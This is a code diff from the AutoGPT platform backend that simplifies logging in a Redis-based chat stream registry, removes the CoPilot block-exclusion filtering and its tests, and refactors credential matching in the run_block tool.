-    redis_start = time.perf_counter()
     redis = await get_redis_async()
     meta_key = _get_task_meta_key(task_id)
     meta: dict[Any, Any] = await redis.hgetall(meta_key)  # type: ignore[misc]
-    hgetall_time = (time.perf_counter() - redis_start) * 1000
-    logger.info(
-        f"[TIMING] Redis hgetall took {hgetall_time:.1f}ms",
-        extra={"json_fields": {**log_meta, "duration_ms": hgetall_time}},
-    )
 
     if not meta:
-        elapsed = (time.perf_counter() - start_time) * 1000
-        logger.info(
-            f"[TIMING] Task not found in Redis after {elapsed:.1f}ms",
-            extra={
-                "json_fields": {
-                    **log_meta,
-                    "elapsed_ms": elapsed,
-                    "reason": "task_not_found",
-                }
-            },
-        )
+        logger.debug(f"Task {task_id} not found in Redis")
         return None
 
     # Note: Redis client uses decode_responses=True, so keys are strings
     task_status = meta.get("status", "")
     task_user_id = meta.get("user_id", "") or None
-    log_meta["session_id"] = meta.get("session_id", "")
 
     # Validate ownership - if task has an owner, requester must match
     if task_user_id:
         if user_id != task_user_id:
             logger.warning(
-                f"[TIMING] Access denied: user {user_id} tried to access task owned by {task_user_id}",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "task_owner": task_user_id,
-                        "reason": "access_denied",
-                    }
-                },
+                f"User {user_id} denied access to task {task_id} "
+                f"owned by {task_user_id}"
             )
             return None
 
@@ -332,19 +225,7 @@ async def subscribe_to_task(
     stream_key = _get_task_stream_key(task_id)
 
     # Step 1: Replay messages from Redis Stream
-    xread_start = time.perf_counter()
     messages = await redis.xread({stream_key: last_message_id}, block=0, count=1000)
-    xread_time = (time.perf_counter() - xread_start) * 1000
-    logger.info(
-        f"[TIMING] Redis xread (replay) took {xread_time:.1f}ms, status={task_status}",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "duration_ms": xread_time,
-                "task_status": task_status,
-            }
-        },
-    )
 
     replayed_count = 0
     replay_last_id = last_message_id
@@ -363,48 +244,19 @@ async def subscribe_to_task(
                     except Exception as e:
                         logger.warning(f"Failed to replay message: {e}")
 
-    logger.info(
-        f"[TIMING] Replayed {replayed_count} messages, last_id={replay_last_id}",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "n_messages_replayed": replayed_count,
-                "replay_last_id": replay_last_id,
-            }
-        },
-    )
+    logger.debug(f"Task {task_id}: replayed {replayed_count} messages")
 
     # Step 2: If task is still running, start stream listener for live updates
     if task_status == "running":
-        logger.info(
-            "[TIMING] Task still running, starting _stream_listener",
-            extra={"json_fields": {**log_meta, "task_status": task_status}},
-        )
         listener_task = asyncio.create_task(
-            _stream_listener(task_id, subscriber_queue, replay_last_id, log_meta)
+            _stream_listener(task_id, subscriber_queue, replay_last_id)
         )
         # Track listener task for cleanup on unsubscribe
         _listener_tasks[id(subscriber_queue)] = (task_id, listener_task)
     else:
         # Task is completed/failed - add finish marker
-        logger.info(
-            f"[TIMING] Task already {task_status}, adding StreamFinish",
-            extra={"json_fields": {**log_meta, "task_status": task_status}},
-        )
         await subscriber_queue.put(StreamFinish())
 
-    total_time = (time.perf_counter() - start_time) * 1000
-    logger.info(
-        f"[TIMING] subscribe_to_task COMPLETED in {total_time:.1f}ms; task={task_id}, "
-        f"n_messages_replayed={replayed_count}",
-        extra={
-            "json_fields": {
-                **log_meta,
-                "total_time_ms": total_time,
-                "n_messages_replayed": replayed_count,
-            }
-        },
-    )
     return subscriber_queue
 
 
@@ -412,7 +264,6 @@ async def _stream_listener(
     task_id: str,
     subscriber_queue: asyncio.Queue[StreamBaseResponse],
     last_replayed_id: str,
-    log_meta: dict | None = None,
 ) -> None:
     """Listen to Redis Stream for new messages using blocking XREAD.
 
@@ -423,27 +274,10 @@ async def _stream_listener(
         task_id: Task ID to listen for
         subscriber_queue: Queue to deliver messages to
         last_replayed_id: Last message ID from replay (continue from here)
-        log_meta: Structured logging metadata
     """
-    import time
-
-    start_time = time.perf_counter()
-
-    # Use provided log_meta or build minimal one
-    if log_meta is None:
-        log_meta = {"component": "StreamRegistry", "task_id": task_id}
-
-    logger.info(
-        f"[TIMING] _stream_listener STARTED, task={task_id}, last_id={last_replayed_id}",
-        extra={"json_fields": {**log_meta, "last_replayed_id": last_replayed_id}},
-    )
-
     queue_id = id(subscriber_queue)
     # Track the last successfully delivered message ID for recovery hints
     last_delivered_id = last_replayed_id
-    messages_delivered = 0
-    first_message_time = None
-    xread_count = 0
 
     try:
         redis = await get_redis_async()
@@ -453,39 +287,9 @@ async def _stream_listener(
         while True:
             # Block for up to 30 seconds waiting for new messages
             # This allows periodic checking if task is still running
-            xread_start = time.perf_counter()
-            xread_count += 1
             messages = await redis.xread(
                 {stream_key: current_id}, block=30000, count=100
             )
-            xread_time = (time.perf_counter() - xread_start) * 1000
-
-            if messages:
-                msg_count = sum(len(msgs) for _, msgs in messages)
-                logger.info(
-                    f"[TIMING] xread #{xread_count} returned {msg_count} messages in {xread_time:.1f}ms",
-                    extra={
-                        "json_fields": {
-                            **log_meta,
-                            "xread_count": xread_count,
-                            "n_messages": msg_count,
-                            "duration_ms": xread_time,
-                        }
-                    },
-                )
-            elif xread_time > 1000:
-                # Only log timeouts (30s blocking)
-                logger.info(
-                    f"[TIMING] xread #{xread_count} timeout after {xread_time:.1f}ms",
-                    extra={
-                        "json_fields": {
-                            **log_meta,
-                            "xread_count": xread_count,
-                            "duration_ms": xread_time,
-                            "reason": "timeout",
-                        }
-                    },
-                )
 
             if not messages:
                 # Timeout - check if task is still running
@@ -522,30 +326,10 @@ async def _stream_listener(
                                 )
                                 # Update last delivered ID on successful delivery
                                 last_delivered_id = current_id
-                                messages_delivered += 1
-                                if first_message_time is None:
-                                    first_message_time = time.perf_counter()
-                                    elapsed = (first_message_time - start_time) * 1000
-                                    logger.info(
-                                        f"[TIMING] FIRST live message at {elapsed:.1f}ms, type={type(chunk).__name__}",
-                                        extra={
-                                            "json_fields": {
-                                                **log_meta,
-                                                "elapsed_ms": elapsed,
-                                                "chunk_type": type(chunk).__name__,
-                                            }
-                                        },
-                                    )
                             except asyncio.TimeoutError:
                                 logger.warning(
-                                    f"[TIMING] Subscriber queue full, delivery timed out after {QUEUE_PUT_TIMEOUT}s",
-                                    extra={
-                                        "json_fields": {
-                                            **log_meta,
-                                            "timeout_s": QUEUE_PUT_TIMEOUT,
-                                            "reason": "queue_full",
-                                        }
-                                    },
+                                    f"Subscriber queue full for task {task_id}, "
+                                    f"message delivery timed out after {QUEUE_PUT_TIMEOUT}s"
                                 )
                                 # Send overflow error with recovery info
                                 try:
@@ -567,44 +351,15 @@ async def _stream_listener(
 
                             # Stop listening on finish
                             if isinstance(chunk, StreamFinish):
-                                total_time = (time.perf_counter() - start_time) * 1000
-                                logger.info(
-                                    f"[TIMING] StreamFinish received in {total_time/1000:.1f}s; delivered={messages_delivered}",
-                                    extra={
-                                        "json_fields": {
-                                            **log_meta,
-                                            "total_time_ms": total_time,
-                                            "messages_delivered": messages_delivered,
-                                        }
-                                    },
-                                )
                                 return
                     except Exception as e:
-                        logger.warning(
-                            f"Error processing stream message: {e}",
-                            extra={"json_fields": {**log_meta, "error": str(e)}},
-                        )
+                        logger.warning(f"Error processing stream message: {e}")
 
     except asyncio.CancelledError:
-        elapsed = (time.perf_counter() - start_time) * 1000
-        logger.info(
-            f"[TIMING] _stream_listener CANCELLED after {elapsed:.1f}ms, delivered={messages_delivered}",
-            extra={
-                "json_fields": {
-                    **log_meta,
-                    "elapsed_ms": elapsed,
-                    "messages_delivered": messages_delivered,
-                    "reason": "cancelled",
-                }
-            },
-        )
+        logger.debug(f"Stream listener cancelled for task {task_id}")
         raise  # Re-raise to propagate cancellation
     except Exception as e:
-        elapsed = (time.perf_counter() - start_time) * 1000
-        logger.error(
-            f"[TIMING] _stream_listener ERROR after {elapsed:.1f}ms: {e}",
-            extra={"json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}},
-        )
+        logger.error(f"Stream listener error for task {task_id}: {e}")
         # On error, send finish to unblock subscriber
         try:
             await asyncio.wait_for(
@@ -613,24 +368,10 @@ async def _stream_listener(
             )
         except (asyncio.TimeoutError, asyncio.QueueFull):
             logger.warning(
-                "Could not deliver finish event after error",
-                extra={"json_fields": log_meta},
+                f"Could not deliver finish event for task {task_id} after error"
             )
     finally:
         # Clean up listener task mapping on exit
-        total_time = (time.perf_counter() - start_time) * 1000
-        logger.info(
-            f"[TIMING] _stream_listener FINISHED in {total_time/1000:.1f}s; task={task_id}, "
-            f"delivered={messages_delivered}, xread_count={xread_count}",
-            extra={
-                "json_fields": {
-                    **log_meta,
-                    "total_time_ms": total_time,
-                    "messages_delivered": messages_delivered,
-                    "xread_count": xread_count,
-                }
-            },
-        )
         _listener_tasks.pop(queue_id, None)
 
 
@@ -814,28 +555,6 @@ async def get_active_task_for_session(
                 if task_user_id and user_id != task_user_id:
                     continue
 
-                # Auto-expire stale tasks that exceeded stream_timeout
-                created_at_str = meta.get("created_at", "")
-                if created_at_str:
-                    try:
-                        created_at = datetime.fromisoformat(created_at_str)
-                        age_seconds = (
-                            datetime.now(timezone.utc) - created_at
-                        ).total_seconds()
-                        if age_seconds > config.stream_timeout:
-                            logger.warning(
-                                f"[TASK_LOOKUP] Auto-expiring stale task {task_id[:8]}... "
-                                f"(age={age_seconds:.0f}s > timeout={config.stream_timeout}s)"
-                            )
-                            await mark_task_completed(task_id, "failed")
-                            continue
-                    except (ValueError, TypeError):
-                        pass
-
-                logger.info(
-                    f"[TASK_LOOKUP] Found running task {task_id[:8]}... for session {session_id[:8]}..."
-                )
-
                 # Get the last message ID from Redis Stream
                 stream_key = _get_task_stream_key(task_id)
                 last_id = "0-0"
@@ -879,10 +598,8 @@ def _reconstruct_chunk(chunk_data: dict) -> StreamBaseResponse | None:
         ResponseType,
         StreamError,
         StreamFinish,
-        StreamFinishStep,
         StreamHeartbeat,
         StreamStart,
-        StreamStartStep,
         StreamTextDelta,
         StreamTextEnd,
         StreamTextStart,
@@ -896,8 +613,6 @@ def _reconstruct_chunk(chunk_data: dict) -> StreamBaseResponse | None:
     type_to_class: dict[str, type[StreamBaseResponse]] = {
         ResponseType.START.value: StreamStart,
         ResponseType.FINISH.value: StreamFinish,
-        ResponseType.START_STEP.value: StreamStartStep,
-        ResponseType.FINISH_STEP.value: StreamFinishStep,
         ResponseType.TEXT_START.value: StreamTextStart,
         ResponseType.TEXT_DELTA.value: StreamTextDelta,
         ResponseType.TEXT_END.value: StreamTextEnd,

autogpt_platform/backend/backend/api/features/chat/tools/find_block.py

@@ -13,32 +13,10 @@ from backend.api.features.chat.tools.models import (
     NoResultsResponse,
 )
 from backend.api.features.store.hybrid_search import unified_hybrid_search
-from backend.data.block import BlockType, get_block
+from backend.data.block import get_block
 
 logger = logging.getLogger(__name__)
 
-_TARGET_RESULTS = 10
-# Over-fetch to compensate for post-hoc filtering of graph-only blocks.
-# 40 is 2x current removed; speed of query 10 vs 40 is minimial
-_OVERFETCH_PAGE_SIZE = 40
-
-# Block types that only work within graphs and cannot run standalone in CoPilot.
-COPILOT_EXCLUDED_BLOCK_TYPES = {
-    BlockType.INPUT,  # Graph interface definition - data enters via chat, not graph inputs
-    BlockType.OUTPUT,  # Graph interface definition - data exits via chat, not graph outputs
-    BlockType.WEBHOOK,  # Wait for external events - would hang forever in CoPilot
-    BlockType.WEBHOOK_MANUAL,  # Same as WEBHOOK
-    BlockType.NOTE,  # Visual annotation only - no runtime behavior
-    BlockType.HUMAN_IN_THE_LOOP,  # Pauses for human approval - CoPilot IS human-in-the-loop
-    BlockType.AGENT,  # AgentExecutorBlock requires execution_context - use run_agent tool
-}
-
-# Specific block IDs excluded from CoPilot (STANDARD type but still require graph context)
-COPILOT_EXCLUDED_BLOCK_IDS = {
-    # SmartDecisionMakerBlock - dynamically discovers downstream blocks via graph topology
-    "3b191d9f-356f-482d-8238-ba04b6d18381",
-}
-
 
 class FindBlockTool(BaseTool):
     """Tool for searching available blocks."""
@@ -110,7 +88,7 @@ class FindBlockTool(BaseTool):
                 query=query,
                 content_types=[ContentType.BLOCK],
                 page=1,
-                page_size=_OVERFETCH_PAGE_SIZE,
+                page_size=10,
             )
 
             if not results:
@@ -130,90 +108,60 @@ class FindBlockTool(BaseTool):
                 block = get_block(block_id)
 
                 # Skip disabled blocks
-                if not block or block.disabled:
-                    continue
+                if block and not block.disabled:
+                    # Get input/output schemas
+                    input_schema = {}
+                    output_schema = {}
+                    try:
+                        input_schema = block.input_schema.jsonschema()
+                    except Exception:
+                        pass
+                    try:
+                        output_schema = block.output_schema.jsonschema()
+                    except Exception:
+                        pass
 
-                # Skip blocks excluded from CoPilot (graph-only blocks)
-                if (
-                    block.block_type in COPILOT_EXCLUDED_BLOCK_TYPES
-                    or block.id in COPILOT_EXCLUDED_BLOCK_IDS
-                ):
-                    continue
+                    # Get categories from block instance
+                    categories = []
+                    if hasattr(block, "categories") and block.categories:
+                        categories = [cat.value for cat in block.categories]
 
-                # Get input/output schemas
-                input_schema = {}
-                output_schema = {}
-                try:
-                    input_schema = block.input_schema.jsonschema()
-                except Exception as e:
-                    logger.debug(
-                        "Failed to generate input schema for block %s: %s",
-                        block_id,
-                        e,
-                    )
-                try:
-                    output_schema = block.output_schema.jsonschema()
-                except Exception as e:
-                    logger.debug(
-                        "Failed to generate output schema for block %s: %s",
-                        block_id,
-                        e,
-                    )
-
-                # Get categories from block instance
-                categories = []
-                if hasattr(block, "categories") and block.categories:
-                    categories = [cat.value for cat in block.categories]
-
-                # Extract required inputs for easier use
-                required_inputs: list[BlockInputFieldInfo] = []
-                if input_schema:
-                    properties = input_schema.get("properties", {})
-                    required_fields = set(input_schema.get("required", []))
-                    # Get credential field names to exclude from required inputs
-                    credentials_fields = set(
-                        block.input_schema.get_credentials_fields().keys()
-                    )
-
-                    for field_name, field_schema in properties.items():
-                        # Skip credential fields - they're handled separately
-                        if field_name in credentials_fields:
-                            continue
-
-                        required_inputs.append(
-                            BlockInputFieldInfo(
-                                name=field_name,
-                                type=field_schema.get("type", "string"),
-                                description=field_schema.get("description", ""),
-                                required=field_name in required_fields,
-                                default=field_schema.get("default"),
-                            )
+                    # Extract required inputs for easier use
+                    required_inputs: list[BlockInputFieldInfo] = []
+                    if input_schema:
+                        properties = input_schema.get("properties", {})
+                        required_fields = set(input_schema.get("required", []))
+                        # Get credential field names to exclude from required inputs
+                        credentials_fields = set(
+                            block.input_schema.get_credentials_fields().keys()
                         )
 
-                blocks.append(
-                    BlockInfoSummary(
-                        id=block_id,
-                        name=block.name,
-                        description=block.description or "",
-                        categories=categories,
-                        input_schema=input_schema,
-                        output_schema=output_schema,
-                        required_inputs=required_inputs,
+                        for field_name, field_schema in properties.items():
+                            # Skip credential fields - they're handled separately
+                            if field_name in credentials_fields:
+                                continue
+
+                            required_inputs.append(
+                                BlockInputFieldInfo(
+                                    name=field_name,
+                                    type=field_schema.get("type", "string"),
+                                    description=field_schema.get("description", ""),
+                                    required=field_name in required_fields,
+                                    default=field_schema.get("default"),
+                                )
+                            )
+
+                    blocks.append(
+                        BlockInfoSummary(
+                            id=block_id,
+                            name=block.name,
+                            description=block.description or "",
+                            categories=categories,
+                            input_schema=input_schema,
+                            output_schema=output_schema,
+                            required_inputs=required_inputs,
+                        )
                     )
-                )
-
-                if len(blocks) >= _TARGET_RESULTS:
-                    break
-
-            if blocks and len(blocks) < _TARGET_RESULTS:
-                logger.debug(
-                    "find_block returned %d/%d results for query '%s' "
-                    "(filtered %d excluded/disabled blocks)",
-                    len(blocks),
-                    _TARGET_RESULTS,
-                    query,
-                    len(results) - len(blocks),
-                )
 
             if not blocks:
                 return NoResultsResponse(

autogpt_platform/backend/backend/api/features/chat/tools/find_block_test.py

@@ -1,139 +0,0 @@
-"""Tests for block filtering in FindBlockTool."""
-
-from unittest.mock import AsyncMock, MagicMock, patch
-
-import pytest
-
-from backend.api.features.chat.tools.find_block import (
-    COPILOT_EXCLUDED_BLOCK_IDS,
-    COPILOT_EXCLUDED_BLOCK_TYPES,
-    FindBlockTool,
-)
-from backend.api.features.chat.tools.models import BlockListResponse
-from backend.data.block import BlockType
-
-from ._test_data import make_session
-
-_TEST_USER_ID = "test-user-find-block"
-
-
-def make_mock_block(
-    block_id: str, name: str, block_type: BlockType, disabled: bool = False
-):
-    """Create a mock block for testing."""
-    mock = MagicMock()
-    mock.id = block_id
-    mock.name = name
-    mock.description = f"{name} description"
-    mock.block_type = block_type
-    mock.disabled = disabled
-    mock.input_schema = MagicMock()
-    mock.input_schema.jsonschema.return_value = {"properties": {}, "required": []}
-    mock.input_schema.get_credentials_fields.return_value = {}
-    mock.output_schema = MagicMock()
-    mock.output_schema.jsonschema.return_value = {}
-    mock.categories = []
-    return mock
-
-
-class TestFindBlockFiltering:
-    """Tests for block filtering in FindBlockTool."""
-
-    def test_excluded_block_types_contains_expected_types(self):
-        """Verify COPILOT_EXCLUDED_BLOCK_TYPES contains all graph-only types."""
-        assert BlockType.INPUT in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.OUTPUT in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.WEBHOOK in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.WEBHOOK_MANUAL in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.NOTE in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.HUMAN_IN_THE_LOOP in COPILOT_EXCLUDED_BLOCK_TYPES
-        assert BlockType.AGENT in COPILOT_EXCLUDED_BLOCK_TYPES
-
-    def test_excluded_block_ids_contains_smart_decision_maker(self):
-        """Verify SmartDecisionMakerBlock is in COPILOT_EXCLUDED_BLOCK_IDS."""
-        assert "3b191d9f-356f-482d-8238-ba04b6d18381" in COPILOT_EXCLUDED_BLOCK_IDS
-
-    @pytest.mark.asyncio(loop_scope="session")
-    async def test_excluded_block_type_filtered_from_results(self):
-        """Verify blocks with excluded BlockTypes are filtered from search results."""
-        session = make_session(user_id=_TEST_USER_ID)
-
-        # Mock search returns an INPUT block (excluded) and a STANDARD block (included)
-        search_results = [
-            {"content_id": "input-block-id", "score": 0.9},
-            {"content_id": "standard-block-id", "score": 0.8},
-        ]
-
-        input_block = make_mock_block("input-block-id", "Input Block", BlockType.INPUT)
-        standard_block = make_mock_block(
-            "standard-block-id", "HTTP Request", BlockType.STANDARD
-        )
-
-        def mock_get_block(block_id):
-            return {
-                "input-block-id": input_block,
-                "standard-block-id": standard_block,
-            }.get(block_id)
-
-        with patch(
-            "backend.api.features.chat.tools.find_block.unified_hybrid_search",
-            new_callable=AsyncMock,
-            return_value=(search_results, 2),
-        ):
-            with patch(
-                "backend.api.features.chat.tools.find_block.get_block",
-                side_effect=mock_get_block,
-            ):
-                tool = FindBlockTool()
-                response = await tool._execute(
-                    user_id=_TEST_USER_ID, session=session, query="test"
-                )
-
-        # Should only return the standard block, not the INPUT block
-        assert isinstance(response, BlockListResponse)
-        assert len(response.blocks) == 1
-        assert response.blocks[0].id == "standard-block-id"
-
-    @pytest.mark.asyncio(loop_scope="session")
-    async def test_excluded_block_id_filtered_from_results(self):
-        """Verify SmartDecisionMakerBlock is filtered from search results."""
-        session = make_session(user_id=_TEST_USER_ID)
-
-        smart_decision_id = "3b191d9f-356f-482d-8238-ba04b6d18381"
-        search_results = [
-            {"content_id": smart_decision_id, "score": 0.9},
-            {"content_id": "normal-block-id", "score": 0.8},
-        ]
-
-        # SmartDecisionMakerBlock has STANDARD type but is excluded by ID
-        smart_block = make_mock_block(
-            smart_decision_id, "Smart Decision Maker", BlockType.STANDARD
-        )
-        normal_block = make_mock_block(
-            "normal-block-id", "Normal Block", BlockType.STANDARD
-        )
-
-        def mock_get_block(block_id):
-            return {
-                smart_decision_id: smart_block,
-                "normal-block-id": normal_block,
-            }.get(block_id)
-
-        with patch(
-            "backend.api.features.chat.tools.find_block.unified_hybrid_search",
-            new_callable=AsyncMock,
-            return_value=(search_results, 2),
-        ):
-            with patch(
-                "backend.api.features.chat.tools.find_block.get_block",
-                side_effect=mock_get_block,
-            ):
-                tool = FindBlockTool()
-                response = await tool._execute(
-                    user_id=_TEST_USER_ID, session=session, query="decision"
-                )
-
-        # Should only return normal block, not SmartDecisionMakerBlock
-        assert isinstance(response, BlockListResponse)
-        assert len(response.blocks) == 1
-        assert response.blocks[0].id == "normal-block-id"

autogpt_platform/backend/backend/api/features/chat/tools/helpers.py

@@ -1,29 +0,0 @@
-"""Shared helpers for chat tools."""
-
-from typing import Any
-
-
-def get_inputs_from_schema(
-    input_schema: dict[str, Any],
-    exclude_fields: set[str] | None = None,
-) -> list[dict[str, Any]]:
-    """Extract input field info from JSON schema."""
-    if not isinstance(input_schema, dict):
-        return []
-
-    exclude = exclude_fields or set()
-    properties = input_schema.get("properties", {})
-    required = set(input_schema.get("required", []))
-
-    return [
-        {
-            "name": name,
-            "title": schema.get("title", name),
-            "type": schema.get("type", "string"),
-            "description": schema.get("description", ""),
-            "required": name in required,
-            "default": schema.get("default"),
-        }
-        for name, schema in properties.items()
-        if name not in exclude
-    ]

autogpt_platform/backend/backend/api/features/chat/tools/models.py

@@ -335,17 +335,11 @@ class BlockInfoSummary(BaseModel):
     name: str
     description: str
     categories: list[str]
-    input_schema: dict[str, Any] = Field(
-        default_factory=dict,
-        description="Full JSON schema for block inputs",
-    )
-    output_schema: dict[str, Any] = Field(
-        default_factory=dict,
-        description="Full JSON schema for block outputs",
-    )
+    input_schema: dict[str, Any]
+    output_schema: dict[str, Any]
     required_inputs: list[BlockInputFieldInfo] = Field(
         default_factory=list,
-        description="List of input fields for this block",
+        description="List of required input fields for this block",
     )
 
 
@@ -358,7 +352,7 @@ class BlockListResponse(ToolResponseBase):
     query: str
     usage_hint: str = Field(
         default="To execute a block, call run_block with block_id set to the block's "
-        "'id' field and input_data containing the fields listed in required_inputs."
+        "'id' field and input_data containing the required fields from input_schema."
     )
 
 

autogpt_platform/backend/backend/api/features/chat/tools/run_agent.py

@@ -24,7 +24,6 @@ from backend.util.timezone_utils import (
 )
 
 from .base import BaseTool
-from .helpers import get_inputs_from_schema
 from .models import (
     AgentDetails,
     AgentDetailsResponse,
@@ -262,7 +261,7 @@ class RunAgentTool(BaseTool):
                         ),
                         requirements={
                             "credentials": requirements_creds_list,
-                            "inputs": get_inputs_from_schema(graph.input_schema),
+                            "inputs": self._get_inputs_list(graph.input_schema),
                             "execution_modes": self._get_execution_modes(graph),
                         },
                     ),
@@ -370,6 +369,22 @@ class RunAgentTool(BaseTool):
                 session_id=session_id,
             )
 
+    def _get_inputs_list(self, input_schema: dict[str, Any]) -> list[dict[str, Any]]:
+        """Extract inputs list from schema."""
+        inputs_list = []
+        if isinstance(input_schema, dict) and "properties" in input_schema:
+            for field_name, field_schema in input_schema["properties"].items():
+                inputs_list.append(
+                    {
+                        "name": field_name,
+                        "title": field_schema.get("title", field_name),
+                        "type": field_schema.get("type", "string"),
+                        "description": field_schema.get("description", ""),
+                        "required": field_name in input_schema.get("required", []),
+                    }
+                )
+        return inputs_list
+
     def _get_execution_modes(self, graph: GraphModel) -> list[str]:
         """Get available execution modes for the graph."""
         trigger_info = graph.trigger_setup_info
@@ -383,7 +398,7 @@ class RunAgentTool(BaseTool):
         suffix: str,
     ) -> str:
         """Build a message describing available inputs for an agent."""
-        inputs_list = get_inputs_from_schema(graph.input_schema)
+        inputs_list = self._get_inputs_list(graph.input_schema)
         required_names = [i["name"] for i in inputs_list if i["required"]]
         optional_names = [i["name"] for i in inputs_list if not i["required"]]
 

autogpt_platform/backend/backend/api/features/chat/tools/run_block.py

@@ -8,19 +8,14 @@ from typing import Any
 from pydantic_core import PydanticUndefined
 
 from backend.api.features.chat.model import ChatSession
-from backend.api.features.chat.tools.find_block import (
-    COPILOT_EXCLUDED_BLOCK_IDS,
-    COPILOT_EXCLUDED_BLOCK_TYPES,
-)
-from backend.data.block import AnyBlockSchema, get_block
+from backend.data.block import get_block
 from backend.data.execution import ExecutionContext
-from backend.data.model import CredentialsFieldInfo, CredentialsMetaInput
+from backend.data.model import CredentialsMetaInput
 from backend.data.workspace import get_or_create_workspace
 from backend.integrations.creds_manager import IntegrationCredentialsManager
 from backend.util.exceptions import BlockError
 
 from .base import BaseTool
-from .helpers import get_inputs_from_schema
 from .models import (
     BlockOutputResponse,
     ErrorResponse,
@@ -29,10 +24,7 @@ from .models import (
     ToolResponseBase,
     UserReadiness,
 )
-from .utils import (
-    build_missing_credentials_from_field_info,
-    match_credentials_to_requirements,
-)
+from .utils import build_missing_credentials_from_field_info
 
 logger = logging.getLogger(__name__)
 
@@ -81,6 +73,91 @@ class RunBlockTool(BaseTool):
     def requires_auth(self) -> bool:
         return True
 
+    async def _check_block_credentials(
+        self,
+        user_id: str,
+        block: Any,
+        input_data: dict[str, Any] | None = None,
+    ) -> tuple[dict[str, CredentialsMetaInput], list[CredentialsMetaInput]]:
+        """
+        Check if user has required credentials for a block.
+
+        Args:
+            user_id: User ID
+            block: Block to check credentials for
+            input_data: Input data for the block (used to determine provider via discriminator)
+
+        Returns:
+            tuple[matched_credentials, missing_credentials]
+        """
+        matched_credentials: dict[str, CredentialsMetaInput] = {}
+        missing_credentials: list[CredentialsMetaInput] = []
+        input_data = input_data or {}
+
+        # Get credential field info from block's input schema
+        credentials_fields_info = block.input_schema.get_credentials_fields_info()
+
+        if not credentials_fields_info:
+            return matched_credentials, missing_credentials
+
+        # Get user's available credentials
+        creds_manager = IntegrationCredentialsManager()
+        available_creds = await creds_manager.store.get_all_creds(user_id)
+
+        for field_name, field_info in credentials_fields_info.items():
+            effective_field_info = field_info
+            if field_info.discriminator and field_info.discriminator_mapping:
+                # Get discriminator from input, falling back to schema default
+                discriminator_value = input_data.get(field_info.discriminator)
+                if discriminator_value is None:
+                    field = block.input_schema.model_fields.get(
+                        field_info.discriminator
+                    )
+                    if field and field.default is not PydanticUndefined:
+                        discriminator_value = field.default
+
+                if (
+                    discriminator_value
+                    and discriminator_value in field_info.discriminator_mapping
+                ):
+                    effective_field_info = field_info.discriminate(discriminator_value)
+                    logger.debug(
+                        f"Discriminated provider for {field_name}: "
+                        f"{discriminator_value} -> {effective_field_info.provider}"
+                    )
+
+            matching_cred = next(
+                (
+                    cred
+                    for cred in available_creds
+                    if cred.provider in effective_field_info.provider
+                    and cred.type in effective_field_info.supported_types
+                ),
+                None,
+            )
+
+            if matching_cred:
+                matched_credentials[field_name] = CredentialsMetaInput(
+                    id=matching_cred.id,
+                    provider=matching_cred.provider,  # type: ignore
+                    type=matching_cred.type,
+                    title=matching_cred.title,
+                )
+            else:
+                # Create a placeholder for the missing credential
+                provider = next(iter(effective_field_info.provider), "unknown")
+                cred_type = next(iter(effective_field_info.supported_types), "api_key")
+                missing_credentials.append(
+                    CredentialsMetaInput(
+                        id=field_name,
+                        provider=provider,  # type: ignore
+                        type=cred_type,  # type: ignore
+                        title=field_name.replace("_", " ").title(),
+                    )
+                )
+
+        return matched_credentials, missing_credentials
+
     async def _execute(
         self,
         user_id: str | None,
@@ -135,24 +212,11 @@ class RunBlockTool(BaseTool):
                 session_id=session_id,
             )
 
-        # Check if block is excluded from CoPilot (graph-only blocks)
-        if (
-            block.block_type in COPILOT_EXCLUDED_BLOCK_TYPES
-            or block.id in COPILOT_EXCLUDED_BLOCK_IDS
-        ):
-            return ErrorResponse(
-                message=(
-                    f"Block '{block.name}' cannot be run directly in CoPilot. "
-                    "This block is designed for use within graphs only."
-                ),
-                session_id=session_id,
-            )
-
         logger.info(f"Executing block {block.name} ({block_id}) for user {user_id}")
 
         creds_manager = IntegrationCredentialsManager()
-        matched_credentials, missing_credentials = (
-            await self._resolve_block_credentials(user_id, block, input_data)
+        matched_credentials, missing_credentials = await self._check_block_credentials(
+            user_id, block, input_data
         )
 
         if missing_credentials:
@@ -281,75 +345,29 @@ class RunBlockTool(BaseTool):
                 session_id=session_id,
             )
 
-    async def _resolve_block_credentials(
-        self,
-        user_id: str,
-        block: AnyBlockSchema,
-        input_data: dict[str, Any] | None = None,
-    ) -> tuple[dict[str, CredentialsMetaInput], list[CredentialsMetaInput]]:
-        """
-        Resolve credentials for a block by matching user's available credentials.
-
-        Args:
-            user_id: User ID
-            block: Block to resolve credentials for
-            input_data: Input data for the block (used to determine provider via discriminator)
-
-        Returns:
-            tuple of (matched_credentials, missing_credentials) - matched credentials
-            are used for block execution, missing ones indicate setup requirements.
-        """
-        input_data = input_data or {}
-        requirements = self._resolve_discriminated_credentials(block, input_data)
-
-        if not requirements:
-            return {}, []
-
-        return await match_credentials_to_requirements(user_id, requirements)
-
-    def _get_inputs_list(self, block: AnyBlockSchema) -> list[dict[str, Any]]:
+    def _get_inputs_list(self, block: Any) -> list[dict[str, Any]]:
         """Extract non-credential inputs from block schema."""
+        inputs_list = []
         schema = block.input_schema.jsonschema()
+        properties = schema.get("properties", {})
+        required_fields = set(schema.get("required", []))
+
+        # Get credential field names to exclude
         credentials_fields = set(block.input_schema.get_credentials_fields().keys())
-        return get_inputs_from_schema(schema, exclude_fields=credentials_fields)
 
-    def _resolve_discriminated_credentials(
-        self,
-        block: AnyBlockSchema,
-        input_data: dict[str, Any],
-    ) -> dict[str, CredentialsFieldInfo]:
-        """Resolve credential requirements, applying discriminator logic where needed."""
-        credentials_fields_info = block.input_schema.get_credentials_fields_info()
-        if not credentials_fields_info:
-            return {}
+        for field_name, field_schema in properties.items():
+            # Skip credential fields
+            if field_name in credentials_fields:
+                continue
 
-        resolved: dict[str, CredentialsFieldInfo] = {}
+            inputs_list.append(
+                {
+                    "name": field_name,
+                    "title": field_schema.get("title", field_name),
+                    "type": field_schema.get("type", "string"),
+                    "description": field_schema.get("description", ""),
+                    "required": field_name in required_fields,
+                }
+            )
 
-        for field_name, field_info in credentials_fields_info.items():
-            effective_field_info = field_info
-
